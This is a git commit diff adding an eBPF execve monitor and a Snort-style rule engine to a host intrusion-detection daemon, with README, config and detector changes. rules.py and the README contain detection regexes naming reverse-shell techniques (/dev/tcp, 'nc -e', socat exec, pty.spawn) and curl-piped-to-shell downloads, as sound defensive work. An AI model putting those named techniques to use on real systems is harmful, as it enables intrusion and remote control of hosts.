Add event-driven eBPF execve layer with a Snort-style rule engine

Closes polling's blind spot (processes that exit between sweeps) with a real
eBPF probe and a declarative, data-driven detection engine — inspired by Snort
(rule language, signature IDs) and OSSEC (host-IDS framing).

New events/ subpackage:
- bcc_source.py : eBPF C tracing execve (filename, argv[1..2], ppid, uid,
                  parent comm) over a perf buffer, loaded via bcc; lazy import
                  + available()/try-except so it fails closed to poll-only when
                  bcc/root/BTF are absent — a broken probe never downs the daemon
- exec_event.py : the ExecEvent type
- rules.py      : ExecRule (sid/msg/severity/classtype + path/exec/parent/argv
                  conditions) and ExecRuleEngine; 4 shipped rules (fileless exec
                  100001, reverse-shell argv 100002, web/DB→shell RCE 100003,
                  curl|sh 100004); operators add more via exec_rules_file TOML
- monitor.py    : runs the source on a thread, routes events through the engine

Integration:
- daemon starts the monitor, shares a lock-guarded cooldown with the sweep
  loop, and feeds event alerts into the same snapshot pipeline
- Alert gains Snort-style sid + classtype; retrofitted onto all 7 poll
  detectors; snapshots and JSON now carry them
- config: ebpf_exec_monitor (default on, degrades), exec_rules_file
- systemd: opt-in ebpf.conf drop-in (relaxes MemoryDenyWriteExecute + widens
  caps for bcc's JIT) so the base unit stays hardened for poll-only
- sentinel-redteam: ebpf_exec drill (short-lived /tmp exec + /dev/tcp argv the
  poller can't see); footer now uses the Python CLI

Tests: +14 cases for the rule engine (each default rule match/non-match, rule
validation, parent-exclude). 39/39 pass. Graceful non-root degradation verified.

NOTE: the eBPF C follows bcc's execsnoop pattern but could not be run here
(BPF needs root); it wants a root smoke-test on a real host.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
This commit is contained in:
Luna 2026-05-31 07:16:53 -07:00
parent 586f74b929
commit 0eb5077551
24 changed files with 734 additions and 38 deletions

View file

@ -32,6 +32,35 @@ EDRs are built on:
| `persistence` | Changes to cron, systemd units, `authorized_keys`, rc files | Persistence has to write somewhere that survives reboot | | `persistence` | Changes to cron, systemd units, `authorized_keys`, rc files | Persistence has to write somewhere that survives reboot |
| `egress` | An interpreter with an established connection to a public IP | C2 beacons and exfil have to phone home | | `egress` | An interpreter with an established connection to a public IP | C2 beacons and exfil have to phone home |
Every detection carries a stable **`sid`** and a **`classtype`** (à la
Snort/Suricata), so it can be referenced, tuned, and tracked across revisions.
## Event-driven detection (eBPF + a Snort-style rule engine)
Polling has a blind spot: a process that runs and exits between two sweeps is
invisible to it. The event layer closes that gap. An eBPF probe (loaded with
`bcc`) fires on every `execve` and hands each event to a **declarative rule
engine** — the host-event analogue of Snort matching packets:
```toml
# a rule is data, not code — sid, msg, classtype, severity + conditions
sid = 100002
msg = "Reverse-shell command pattern in execve arguments"
severity = "CRITICAL"
classtype = "c2-reverse-shell"
argv_regex = "/dev/(tcp|udp)/| -i\\b| -e\\b| pty\\.spawn"
```
Shipped rules cover fileless execution from world-writable dirs (`sid 100001`),
reverse-shell argv patterns (`100002`), web/DB services spawning a shell —
webshell/RCE (`100003`), and `curl|sh`-style ingress tool transfer (`100004`).
Operators add their own via `exec_rules_file` without touching code.
The layer is **fail-safe**: if `bcc`/root/BTF aren't available it logs the
reason and the daemon runs poll-only — a broken probe can never take detection
down. Lineage: the rule-driven engine + SIDs come from **Snort**; the host-IDS
framing (and the queued FIM / hidden-process checks) from **OSSEC**.
## Architecture ## Architecture
``` ```
@ -42,11 +71,22 @@ enodia_sentinel/
├── snapshot.py forensic text+JSON capture · response guidance · retention ├── snapshot.py forensic text+JSON capture · response guidance · retention
├── config.py dataclass config (TOML + env overrides) ├── config.py dataclass config (TOML + env overrides)
├── netutil.py public-IP / CIDR logic (stdlib ipaddress) ├── netutil.py public-IP / CIDR logic (stdlib ipaddress)
├── alert.py Alert / Severity ├── alert.py Alert / Severity (with Snort-style sid + classtype)
└── detectors/ one module per signature, each a pure function: ├── detectors/ poll detectors — one module per signature, each a pure
detect(state, cfg) -> Iterable[Alert] │ function: detect(state, cfg) -> Iterable[Alert]
└── events/ event-driven layer (eBPF)
├── bcc_source.py real eBPF execve probe loaded via bcc
├── exec_event.py the ExecEvent type
├── rules.py Snort-style ExecRule engine + default rules
└── monitor.py runs the probe on a thread, routes events → rules
``` ```
Two complementary detection paths feed one Alert → snapshot pipeline:
- **Poll** — every few seconds, sweep `/proc`/`ss` (catches anything lingering).
- **Event** — eBPF fires on every `execve`, matched against the rule engine
(catches processes that exit *between* sweeps).
The loop is deliberately the same control flow as the bash prototype, but the The loop is deliberately the same control flow as the bash prototype, but the
state lives in real objects: state lives in real objects:
@ -161,28 +201,48 @@ writable path, `ProtectHome=read-only`, `NoNewPrivileges`,
(`CAP_SYS_PTRACE`, `CAP_DAC_READ_SEARCH`). It only ever **reads** the system and (`CAP_SYS_PTRACE`, `CAP_DAC_READ_SEARCH`). It only ever **reads** the system and
**writes** to its own log directory. **writes** to its own log directory.
## Roadmap — from polling to eBPF ## Enabling the eBPF monitor
This is **poll-based**: it sweeps `/proc` and `ss` every few seconds. Robust, The event layer needs `python-bpfcc` and privileges the hardened unit
dependency-light, and catches anything that lingers — but it can miss sub-second deliberately withholds (bcc JIT-compiles its programs, so it needs write+exec
processes. The planned evolution: memory and `CAP_BPF`/`CAP_PERFMON`/`CAP_SYS_ADMIN`). Under the default unit the
monitor simply fails closed and the daemon runs poll-only. To turn it on:
1. **bpftrace tracepoints (now, optional)**`capture_execve_bpftrace = true` ```bash
adds a live `execve` trace to each snapshot. The gentle on-ramp to kernel sudo pacman -S python-bpfcc
tracing. sudo install -Dm644 systemd/enodia-sentinel-ebpf.conf \
2. **Event-driven detection**`bpftrace`/BCC probes on `sys_enter_execve`, /etc/systemd/system/enodia-sentinel.service.d/ebpf.conf
`security_bprm_check`, and `tcp_connect`, streamed to the daemon so a sudo systemctl daemon-reload && sudo systemctl restart enodia-sentinel
short-lived reverse shell can't slip between sweeps. # confirm: grep 'eBPF exec monitor' /var/log/enodia-sentinel/events.log
3. **A libbpf + CO-RE agent (Go or Rust userland)** — the production EDR core: ```
LSM hooks, ring-buffer event streaming, per-process lineage, tamper
resistance.
The polling daemon isn't throwaway — it's the **oracle**: every signature here The drop-in relaxes `MemoryDenyWriteExecute` and widens the capability set — a
is a test case the eBPF agent must reproduce, and `sentinel-redteam` is the conscious tradeoff documented in the file itself.
shared regression suite.
## Roadmap
1. **bpftrace tracepoints (optional)**`capture_execve_bpftrace = true` adds a
live `execve` trace to each snapshot.
2. ✅ **Event-driven `execve` detection (done)** — a real eBPF probe via bcc,
feeding a Snort-style rule engine, so a short-lived process can't slip
between sweeps.
3. **More event sources**`tcp_connect` (event-driven egress) and
`security_bprm_check` (LSM) probes, plus per-process lineage tracking.
4. **A libbpf + CO-RE agent (Go or Rust)** — the production EDR core: ring-buffer
event streaming, tamper resistance, no runtime compiler.
The polling daemon isn't throwaway — it's the **oracle**: every signature is a
test case the event layer must reproduce, and `sentinel-redteam` is the shared
regression suite for both.
## Project status ## Project status
v0.3 — adds the event-driven **eBPF layer**: a real `bcc` execve probe feeding a
Snort-style declarative rule engine (4 default rules), stable signature IDs +
classtypes on every detection, fail-safe degradation to poll-only, and an
opt-in hardening drop-in. Inspired by Snort (rule engine, SIDs) and OSSEC (HIDS
framing; FIM + hidden-process checks are next).
v0.2 — Python re-architecture of the bash prototype: 7 detectors, text+JSON v0.2 — Python re-architecture of the bash prototype: 7 detectors, text+JSON
forensic snapshots, backgrounded SUID scanning, 25-test unit suite, red-team forensic snapshots, backgrounded SUID scanning, 25-test unit suite, red-team
harness, hardened systemd unit, Arch packaging. Zero runtime dependencies. harness, hardened systemd unit, Arch packaging. Zero runtime dependencies.

View file

@ -47,7 +47,15 @@ watch_persistence = [
"/root/.ssh/authorized_keys", "/root/.bashrc", "/root/.profile", "/root/.ssh/authorized_keys", "/root/.bashrc", "/root/.profile",
] ]
# --- eBPF on-ramp -------------------------------------------------------- # --- eBPF event layer ----------------------------------------------------
# Event-driven execve monitor: catches short-lived processes the poll loop
# misses, matched against the Snort-style rule engine. Requires python-bpfcc
# and root; degrades gracefully to polling otherwise.
ebpf_exec_monitor = true
# Optional path to a TOML file of extra [[exec_rules]] (sid/msg/severity/
# classtype + path_prefixes/exec_comm/parent_comm/argv_regex).
exec_rules_file = ""
# Add a 3s bpftrace execve trace to each snapshot (requires the bpftrace pkg). # Add a 3s bpftrace execve trace to each snapshot (requires the bpftrace pkg).
capture_execve_bpftrace = false capture_execve_bpftrace = false

View file

@ -6,4 +6,4 @@ captures a forensic snapshot with incident-response guidance whenever a known
attack signature appears. The Python re-architecture of the bash v0 prototype. attack signature appears. The Python re-architecture of the bash v0 prototype.
""" """
__version__ = "0.2.0" __version__ = "0.3.0"

View file

@ -29,11 +29,18 @@ class Alert:
key: str key: str
detail: str detail: str
pids: tuple[int, ...] = field(default_factory=tuple) pids: tuple[int, ...] = field(default_factory=tuple)
# Snort-style metadata: a stable signature id and a category. Every
# detection in Enodia has an `sid` so it can be referenced, tuned, and
# tracked across revisions the way a Snort/Suricata rule is.
sid: int = 0
classtype: str = "uncategorized"
def to_dict(self) -> dict: def to_dict(self) -> dict:
return { return {
"sid": self.sid,
"severity": str(self.severity), "severity": str(self.severity),
"signature": self.signature, "signature": self.signature,
"classtype": self.classtype,
"key": self.key, "key": self.key,
"detail": self.detail, "detail": self.detail,
"pids": list(self.pids), "pids": list(self.pids),

View file

@ -58,6 +58,10 @@ class Config:
# eBPF on-ramp # eBPF on-ramp
capture_execve_bpftrace: bool = False capture_execve_bpftrace: bool = False
# Event-driven eBPF execve monitor (catches short-lived processes the poll
# loop misses). Degrades gracefully to polling if bcc/root/BTF unavailable.
ebpf_exec_monitor: bool = True
exec_rules_file: str = "" # optional extra Snort-style rules (TOML)
# retention # retention
max_snapshots: int = 300 max_snapshots: int = 300

View file

@ -23,6 +23,10 @@ class Sentinel:
self.cfg = cfg self.cfg = cfg
self.start_time = time.time() self.start_time = time.time()
self.cooldowns: dict[str, float] = {} self.cooldowns: dict[str, float] = {}
# Cooldowns are touched by both the sweep loop and the eBPF event
# thread, so guard them.
self._cooldown_lock = threading.Lock()
self._exec_monitor = None
self.last_persist_scan = self.start_time self.last_persist_scan = self.start_time
self.listener_baseline: set[str] = set() self.listener_baseline: set[str] = set()
self.suid_baseline: set[str] = set() self.suid_baseline: set[str] = set()
@ -99,8 +103,9 @@ class Sentinel:
return alerts return alerts
def fresh_alerts(self, alerts: list[Alert], now: float) -> list[Alert]: def fresh_alerts(self, alerts: list[Alert], now: float) -> list[Alert]:
"""Drop alerts whose dedup key is still within cooldown.""" """Drop alerts whose dedup key is still within cooldown (thread-safe)."""
out = [] out = []
with self._cooldown_lock:
for a in alerts: for a in alerts:
prev = self.cooldowns.get(a.key, 0.0) prev = self.cooldowns.get(a.key, 0.0)
if (now - prev) >= self.cfg.cooldown: if (now - prev) >= self.cfg.cooldown:
@ -108,6 +113,14 @@ class Sentinel:
out.append(a) out.append(a)
return out return out
def _on_exec_alert(self, alert: Alert) -> None:
"""Callback for the eBPF exec monitor — same dedup + capture path."""
fresh = self.fresh_alerts([alert], time.time())
if fresh:
threading.Thread(
target=self._capture, args=(fresh,), daemon=True
).start()
# -- main loop --------------------------------------------------------- # -- main loop ---------------------------------------------------------
def run(self) -> None: def run(self) -> None:
self.cfg.log_dir.mkdir(parents=True, exist_ok=True) self.cfg.log_dir.mkdir(parents=True, exist_ok=True)
@ -115,6 +128,7 @@ class Sentinel:
fh.write(f"{time.strftime('%FT%T%z')} enodia-sentinel started\n") fh.write(f"{time.strftime('%FT%T%z')} enodia-sentinel started\n")
self.build_baselines() self.build_baselines()
snapshot.prune(self.cfg) snapshot.prune(self.cfg)
self._start_exec_monitor()
sweeps = 0 sweeps = 0
while not self._stop.is_set(): while not self._stop.is_set():
now = time.time() now = time.time()
@ -134,6 +148,18 @@ class Sentinel:
snapshot.prune(self.cfg) snapshot.prune(self.cfg)
self._stop.wait(self.cfg.sample_interval) self._stop.wait(self.cfg.sample_interval)
def _start_exec_monitor(self) -> None:
if not self.cfg.ebpf_exec_monitor:
return
from .events.monitor import ExecMonitor
self._exec_monitor = ExecMonitor(self.cfg, self._on_exec_alert)
ok, reason = self._exec_monitor.start()
with open(self.cfg.events_log, "a") as fh:
status = "enabled" if ok else f"disabled ({reason})"
fh.write(f"{time.strftime('%FT%T%z')} eBPF exec monitor: {status}\n")
if not ok:
self._exec_monitor = None
def _capture(self, alerts: list[Alert]) -> None: def _capture(self, alerts: list[Alert]) -> None:
try: try:
snapshot.capture(alerts, SystemState(), self.cfg) snapshot.capture(alerts, SystemState(), self.cfg)
@ -143,3 +169,5 @@ class Sentinel:
def stop(self, *_a) -> None: def stop(self, *_a) -> None:
self._stop.set() self._stop.set()
if self._exec_monitor is not None:
self._exec_monitor.stop()

View file

@ -37,4 +37,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]:
key=f"del:{proc.pid}", key=f"del:{proc.pid}",
detail=f"pid={proc.pid} comm={proc.comm} exe=[{exe}]", detail=f"pid={proc.pid} comm={proc.comm} exe=[{exe}]",
pids=(proc.pid,), pids=(proc.pid,),
sid=100012,
classtype="fileless-execution",
) )

View file

@ -33,4 +33,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]:
"(interpreter to public IP)" "(interpreter to public IP)"
), ),
pids=(s.pid,) if s.pid else (), pids=(s.pid,) if s.pid else (),
sid=100016,
classtype="c2-exfil",
) )

View file

@ -31,6 +31,8 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]:
signature="ld_preload", signature="ld_preload",
key="ldp:global", key="ldp:global",
detail=f"/etc/ld.so.preload is non-empty: [{contents.replace(chr(10), ' ')}]", detail=f"/etc/ld.so.preload is non-empty: [{contents.replace(chr(10), ' ')}]",
sid=100011,
classtype="rootkit-preload",
) )
for proc in state.processes: for proc in state.processes:
@ -44,4 +46,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]:
key=f"ldp:{proc.pid}", key=f"ldp:{proc.pid}",
detail=f"pid={proc.pid} comm={proc.comm} LD_PRELOAD=[{pre}]", detail=f"pid={proc.pid} comm={proc.comm} LD_PRELOAD=[{pre}]",
pids=(proc.pid,), pids=(proc.pid,),
sid=100011,
classtype="rootkit-preload",
) )

View file

@ -31,4 +31,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]:
key=f"lis:{key}", key=f"lis:{key}",
detail=f"new listening socket {s.local} by comm={comm}", detail=f"new listening socket {s.local} by comm={comm}",
pids=(s.pid,) if s.pid else (), pids=(s.pid,) if s.pid else (),
sid=100013,
classtype="backdoor-listener",
) )

View file

@ -33,4 +33,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]:
("SUID/SGID binary in writable dir: " if hot ("SUID/SGID binary in writable dir: " if hot
else "new SUID/SGID binary: ") + path else "new SUID/SGID binary: ") + path
), ),
sid=100014,
classtype="privilege-escalation",
) )

View file

@ -40,4 +40,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]:
signature="persistence", signature="persistence",
key=f"persist:{path}", key=f"persist:{path}",
detail=f"persistence file modified: {path}", detail=f"persistence file modified: {path}",
sid=100015,
classtype="persistence",
) )

View file

@ -35,4 +35,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]:
f"peer=[{peer}] cmd=[{proc.cmdline[:90]}]" f"peer=[{peer}] cmd=[{proc.cmdline[:90]}]"
), ),
pids=(proc.pid,), pids=(proc.pid,),
sid=100010,
classtype="c2-reverse-shell",
) )

View file

@ -0,0 +1,9 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Event-driven detection layer.
Where the poll-based detectors sweep system state every few seconds, this layer
reacts to kernel events the instant they happen so a process that executes and
exits between two sweeps (fileless droppers, short-lived reverse shells) is still
caught. Events come from eBPF (``bcc``) and are matched against a declarative,
Snort-style rule set.
"""

View file

@ -0,0 +1,139 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""eBPF execve event source, built on bcc.
Loads a small eBPF program that fires on every ``execve``, capturing the
executed path, the first couple of arguments, the uid, and the parent. Events
are delivered to user space over a perf buffer and decoded into ``ExecEvent``.
This is intentionally fail-safe: if bcc isn't installed, the kernel lacks BPF,
or we aren't root, ``available()`` returns False and the daemon simply runs with
its poll-based detectors. A broken probe must never take the daemon down.
"""
from __future__ import annotations
import os
from collections.abc import Callable
from .exec_event import ExecEvent
# eBPF C. bcc rewrites pointer dereferences (e.g. task->real_parent->tgid) into
# bpf_probe_read calls, so this stays close to bcc's own execsnoop example.
_BPF_PROGRAM = r"""
#include <uapi/linux/ptrace.h>
#include <linux/sched.h>
#define ARGLEN 160
struct data_t {
u32 pid;
u32 ppid;
u32 uid;
char parent_comm[TASK_COMM_LEN];
char filename[ARGLEN];
char arg1[ARGLEN];
char arg2[ARGLEN];
};
BPF_PERF_OUTPUT(events);
int syscall__execve(struct pt_regs *ctx,
const char __user *filename,
const char __user *const __user *__argv,
const char __user *const __user *__envp)
{
struct data_t data = {};
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
data.pid = bpf_get_current_pid_tgid() >> 32;
data.ppid = task->real_parent->tgid;
data.uid = bpf_get_current_uid_gid() & 0xffffffff;
bpf_get_current_comm(&data.parent_comm, sizeof(data.parent_comm));
bpf_probe_read_user_str(&data.filename, sizeof(data.filename), filename);
const char __user *argp = NULL;
bpf_probe_read_user(&argp, sizeof(argp), &__argv[1]);
if (argp)
bpf_probe_read_user_str(&data.arg1, sizeof(data.arg1), argp);
argp = NULL;
bpf_probe_read_user(&argp, sizeof(argp), &__argv[2]);
if (argp)
bpf_probe_read_user_str(&data.arg2, sizeof(data.arg2), argp);
events.perf_submit(ctx, &data, sizeof(data));
return 0;
}
"""
def available() -> tuple[bool, str]:
"""Return (ok, reason). ok=True means the probe can be loaded."""
if os.geteuid() != 0:
return False, "not running as root (BPF requires CAP_BPF/root)"
try:
import bcc # noqa: F401
except ImportError:
return False, "python bcc (python-bpfcc) not installed"
if not os.path.exists("/sys/kernel/btf/vmlinux") and not os.path.isdir(
"/lib/modules/%s/build" % os.uname().release
):
return False, "no kernel BTF or headers for BPF compilation"
return True, "ok"
class BccExecSource:
"""Loads the eBPF probe and pumps decoded ExecEvents to a callback."""
def __init__(self, on_event: Callable[[ExecEvent], None]) -> None:
self._on_event = on_event
self._bpf = None
self._running = False
def start(self) -> None:
from bcc import BPF
self._bpf = BPF(text=_BPF_PROGRAM)
fnname = self._bpf.get_syscall_fnname("execve")
self._bpf.attach_kprobe(event=fnname, fn_name="syscall__execve")
self._bpf["events"].open_perf_buffer(self._handle, page_cnt=64)
self._running = True
def poll(self, timeout_ms: int = 200) -> None:
if self._bpf is not None:
self._bpf.perf_buffer_poll(timeout=timeout_ms)
def stop(self) -> None:
self._running = False
if self._bpf is not None:
try:
self._bpf.cleanup()
except Exception:
pass
self._bpf = None
@property
def running(self) -> bool:
return self._running
def _handle(self, cpu, data, size) -> None:
event = self._bpf["events"].event(data)
argv = tuple(
a for a in (_decode(event.arg1), _decode(event.arg2)) if a
)
ev = ExecEvent(
pid=event.pid,
ppid=event.ppid,
uid=event.uid,
parent_comm=_decode(event.parent_comm),
filename=_decode(event.filename),
argv=argv,
)
try:
self._on_event(ev)
except Exception:
# one bad event must not kill the poll loop
pass
def _decode(raw) -> str:
if isinstance(raw, bytes):
return raw.split(b"\x00", 1)[0].decode("utf-8", "replace")
return str(raw)

View file

@ -0,0 +1,43 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""The execve event — one process-execution observed by the kernel probe."""
from __future__ import annotations
import os
from dataclasses import dataclass, field
@dataclass(frozen=True)
class ExecEvent:
"""A single ``execve``, as seen at the moment of execution.
Captured by the eBPF probe (so it exists even for processes that exit before
a poll). ``parent_comm`` is the caller; ``filename`` is the program being
executed; ``argv`` is as much of the argument vector as the probe captured.
"""
pid: int
ppid: int
uid: int
parent_comm: str
filename: str
argv: tuple[str, ...] = field(default_factory=tuple)
@property
def exec_comm(self) -> str:
"""Basename of the executed program (its post-exec ``comm``)."""
return os.path.basename(self.filename)
@property
def argv_str(self) -> str:
"""Full command line for regex matching (filename + captured args)."""
return " ".join((self.filename, *self.argv)).strip()
def to_dict(self) -> dict:
return {
"pid": self.pid,
"ppid": self.ppid,
"uid": self.uid,
"parent_comm": self.parent_comm,
"filename": self.filename,
"argv": list(self.argv),
}

View file

@ -0,0 +1,55 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Runs the eBPF exec source on a thread and routes events through the engine."""
from __future__ import annotations
import threading
from collections.abc import Callable
from ..alert import Alert
from ..config import Config
from . import bcc_source
from .exec_event import ExecEvent
from .rules import ExecRuleEngine
class ExecMonitor:
"""Owns the event source + rule engine; emits Alerts via ``on_alert``.
``start()`` is best-effort: it returns a (started, reason) pair and never
raises, so the daemon can log the reason and carry on with polling.
"""
def __init__(self, cfg: Config, on_alert: Callable[[Alert], None]) -> None:
self.cfg = cfg
self._on_alert = on_alert
self.engine = ExecRuleEngine.load(cfg.exec_rules_file)
self._source = bcc_source.BccExecSource(self._on_event)
self._thread: threading.Thread | None = None
self._stop = threading.Event()
def start(self) -> tuple[bool, str]:
ok, reason = bcc_source.available()
if not ok:
return False, reason
try:
self._source.start()
except Exception as exc: # compilation/attach/permission failure
return False, f"probe load failed: {exc!r}"
self._thread = threading.Thread(target=self._run, daemon=True)
self._thread.start()
return True, "ok"
def _run(self) -> None:
while not self._stop.is_set():
try:
self._source.poll(timeout_ms=200)
except Exception:
break
def _on_event(self, ev: ExecEvent) -> None:
for alert in self.engine.match(ev):
self._on_alert(alert)
def stop(self) -> None:
self._stop.set()
self._source.stop()

View file

@ -0,0 +1,177 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""A declarative, Snort-style rule engine for execve events.
Detection logic lives in *data*, not code. Each ``ExecRule`` is the host-event
analogue of a Snort rule: a stable ``sid``, a human ``msg``, a ``classtype`` and
``severity``, plus match conditions on the executed path, the program, the
parent process, and the argument vector. The engine just walks the rules.
A rule fires when **every condition it specifies** matches (AND); unspecified
conditions are wildcards. A rule with no conditions is rejected at load time so
it can't match everything by accident.
Default rules ship below; operators can add more via a TOML file
(``[[exec_rules]]`` tables) referenced by ``exec_rules_file`` in the config.
"""
from __future__ import annotations
import re
import tomllib
from collections.abc import Iterable, Iterator
from dataclasses import dataclass, field
from pathlib import Path
from ..alert import Alert, Severity
from .exec_event import ExecEvent
_SEVERITY = {
"MEDIUM": Severity.MEDIUM,
"HIGH": Severity.HIGH,
"CRITICAL": Severity.CRITICAL,
}
@dataclass(frozen=True)
class ExecRule:
sid: int
msg: str
severity: Severity
classtype: str
# Conditions (all that are set must match):
path_prefixes: tuple[str, ...] = () # filename startswith any
exec_comm: frozenset[str] = frozenset() # basename(filename) in set
parent_comm: frozenset[str] = frozenset() # caller comm in set
argv_regex: str | None = None # re.search over argv_str
parent_exclude: frozenset[str] = frozenset() # never fire for these parents
def __post_init__(self) -> None:
if not any((self.path_prefixes, self.exec_comm,
self.parent_comm, self.argv_regex)):
raise ValueError(f"rule sid={self.sid} has no match conditions")
if self.argv_regex is not None:
# compile once; store on the frozen instance via object.__setattr__
object.__setattr__(self, "_argv_re", re.compile(self.argv_regex,
re.IGNORECASE))
else:
object.__setattr__(self, "_argv_re", None)
def matches(self, ev: ExecEvent) -> bool:
if ev.parent_comm in self.parent_exclude:
return False
if self.path_prefixes and not ev.filename.startswith(self.path_prefixes):
return False
if self.exec_comm and ev.exec_comm not in self.exec_comm:
return False
if self.parent_comm and ev.parent_comm not in self.parent_comm:
return False
if self._argv_re is not None and not self._argv_re.search(ev.argv_str):
return False
return True
def to_alert(self, ev: ExecEvent) -> Alert:
return Alert(
severity=self.severity,
signature=f"exec_rule.{self.classtype}",
key=f"exec:{self.sid}:{ev.pid}",
detail=(
f"sid={self.sid} {self.msg} — pid={ev.pid} ppid={ev.ppid} "
f"parent={ev.parent_comm} exec={ev.filename} "
f"argv=[{ev.argv_str[:120]}]"
),
pids=(ev.pid,),
sid=self.sid,
classtype=self.classtype,
)
# --- shipped default rules -------------------------------------------------
# SIDs 100001100999 are reserved for Enodia's built-in exec rules.
_INTERP = frozenset(
"sh bash dash zsh ksh ash python python2 python3 perl ruby php lua "
"nc ncat netcat socat".split()
)
_WEB_DB_SERVERS = frozenset(
"nginx apache apache2 httpd php-fpm php php7 php8 lighttpd caddy "
"node nodejs tomcat catalina mysqld mariadbd postgres redis-server".split()
)
DEFAULT_EXEC_RULES: tuple[ExecRule, ...] = (
ExecRule(
sid=100001,
msg="Program executed from a world-writable directory",
severity=Severity.CRITICAL,
classtype="fileless-execution",
path_prefixes=("/tmp/", "/dev/shm/", "/var/tmp/"),
),
ExecRule(
sid=100002,
msg="Reverse-shell command pattern in execve arguments",
severity=Severity.CRITICAL,
classtype="c2-reverse-shell",
argv_regex=(
r"/dev/(tcp|udp)/"
r"|\b(ba|da|z)?sh\b[^|]*\s-i\b"
r"|\bn(c|cat|etcat)\b.*\s-e\b"
r"|\bsocat\b.*\bexec"
r"|python[0-9.]*\b.*(pty\.spawn|socket\.socket)"
r"|perl\b.*\bSocket\b"
),
),
ExecRule(
sid=100003,
msg="Web/DB service spawned a shell or interpreter (possible RCE/webshell)",
severity=Severity.CRITICAL,
classtype="web-rce",
parent_comm=_WEB_DB_SERVERS,
exec_comm=_INTERP,
),
ExecRule(
sid=100004,
msg="Download piped directly to a shell (ingress tool transfer)",
severity=Severity.HIGH,
classtype="ingress-tool-transfer",
argv_regex=r"\b(curl|wget|fetch)\b.*\|\s*(ba|da|z)?sh\b",
),
)
class ExecRuleEngine:
"""Holds a rule set and matches events against it."""
def __init__(self, rules: Iterable[ExecRule] | None = None) -> None:
self.rules: list[ExecRule] = list(
rules if rules is not None else DEFAULT_EXEC_RULES
)
def match(self, ev: ExecEvent) -> Iterator[Alert]:
for rule in self.rules:
if rule.matches(ev):
yield rule.to_alert(ev)
@classmethod
def load(cls, path: str | Path | None) -> "ExecRuleEngine":
rules = list(DEFAULT_EXEC_RULES)
if path and Path(path).is_file():
rules.extend(_load_toml_rules(Path(path)))
return cls(rules)
def _load_toml_rules(path: Path) -> list[ExecRule]:
with open(path, "rb") as fh:
data = tomllib.load(fh)
out: list[ExecRule] = []
for r in data.get("exec_rules", []):
out.append(ExecRule(
sid=int(r["sid"]),
msg=r.get("msg", ""),
severity=_SEVERITY.get(str(r.get("severity", "HIGH")).upper(),
Severity.HIGH),
classtype=r.get("classtype", "uncategorized"),
path_prefixes=tuple(r.get("path_prefixes", ())),
exec_comm=frozenset(r.get("exec_comm", ())),
parent_comm=frozenset(r.get("parent_comm", ())),
argv_regex=r.get("argv_regex"),
parent_exclude=frozenset(r.get("parent_exclude", ())),
))
return out

View file

@ -61,6 +61,20 @@ RESPONSES: dict[str, str] = {
} }
_EXEC_RESPONSE = (
"An eBPF rule matched a process execution as it happened (caught even if the "
"process has since exited). RESPONSE: review the parent process and the full "
"command line, correlate with the captured sockets, and pivot on the parent "
"if it's a network-facing service."
)
def _response_for(signature: str) -> str:
if signature.startswith("exec_rule."):
return _EXEC_RESPONSE
return RESPONSES.get(signature, "Review the captured context manually.")
def _run(cmd: list[str], timeout: int = 8) -> str: def _run(cmd: list[str], timeout: int = 8) -> str:
try: try:
res = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) res = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
@ -105,12 +119,13 @@ def _format_text(report: dict, extras: dict[str, str]) -> str:
L.append("") L.append("")
L.append("## Triggering detections") L.append("## Triggering detections")
for a in report["alerts"]: for a in report["alerts"]:
L.append(f" [{a['severity']}] {a['signature']}{a['detail']}") L.append(f" [{a['severity']}] sid:{a.get('sid', 0)} "
f"{a['signature']} ({a.get('classtype', '?')}) — {a['detail']}")
L.append("") L.append("")
L.append("## Response guidance") L.append("## Response guidance")
for sig in dict.fromkeys(a["signature"] for a in report["alerts"]): for sig in dict.fromkeys(a["signature"] for a in report["alerts"]):
L.append(f"{sig}:") L.append(f"{sig}:")
L.append(f" {RESPONSES.get(sig, 'Review the captured context manually.')}") L.append(f" {_response_for(sig)}")
L.append("") L.append("")
L.append("## Flagged process detail") L.append("## Flagged process detail")
if report["processes"]: if report["processes"]:

View file

@ -1,13 +1,14 @@
# Maintainer: Enodia # Maintainer: Enodia
pkgname=enodia-sentinel pkgname=enodia-sentinel
pkgver=0.2.0 pkgver=0.3.0
pkgrel=1 pkgrel=1
pkgdesc="Host intrusion-detection daemon — signature-based detection of reverse shells, LD_PRELOAD rootkits, fileless malware, and persistence tampering" pkgdesc="Host intrusion-detection daemon — signature-based detection of reverse shells, LD_PRELOAD rootkits, fileless malware, and persistence tampering"
arch=('any') arch=('any')
url="https://github.com/Enodia/enodia-sentinel" url="https://github.com/Enodia/enodia-sentinel"
license=('GPL-3.0-or-later') license=('GPL-3.0-or-later')
depends=('python>=3.11' 'iproute2' 'procps-ng') depends=('python>=3.11' 'iproute2' 'procps-ng')
optdepends=('bpftrace: execve tracing of short-lived processes in snapshots' optdepends=('python-bpfcc: eBPF event-driven execve monitor (catches short-lived processes)'
'bpftrace: execve tracing of short-lived processes in snapshots'
'libnotify: desktop notifications on alert') 'libnotify: desktop notifications on alert')
backup=('etc/enodia-sentinel.toml') backup=('etc/enodia-sentinel.toml')
source=() source=()

View file

@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
[project] [project]
name = "enodia-sentinel" name = "enodia-sentinel"
version = "0.2.0" version = "0.3.0"
description = "Host intrusion-detection daemon — signature-based detection of reverse shells, LD_PRELOAD rootkits, fileless malware, and persistence tampering" description = "Host intrusion-detection daemon — signature-based detection of reverse shells, LD_PRELOAD rootkits, fileless malware, and persistence tampering"
readme = "README.md" readme = "README.md"
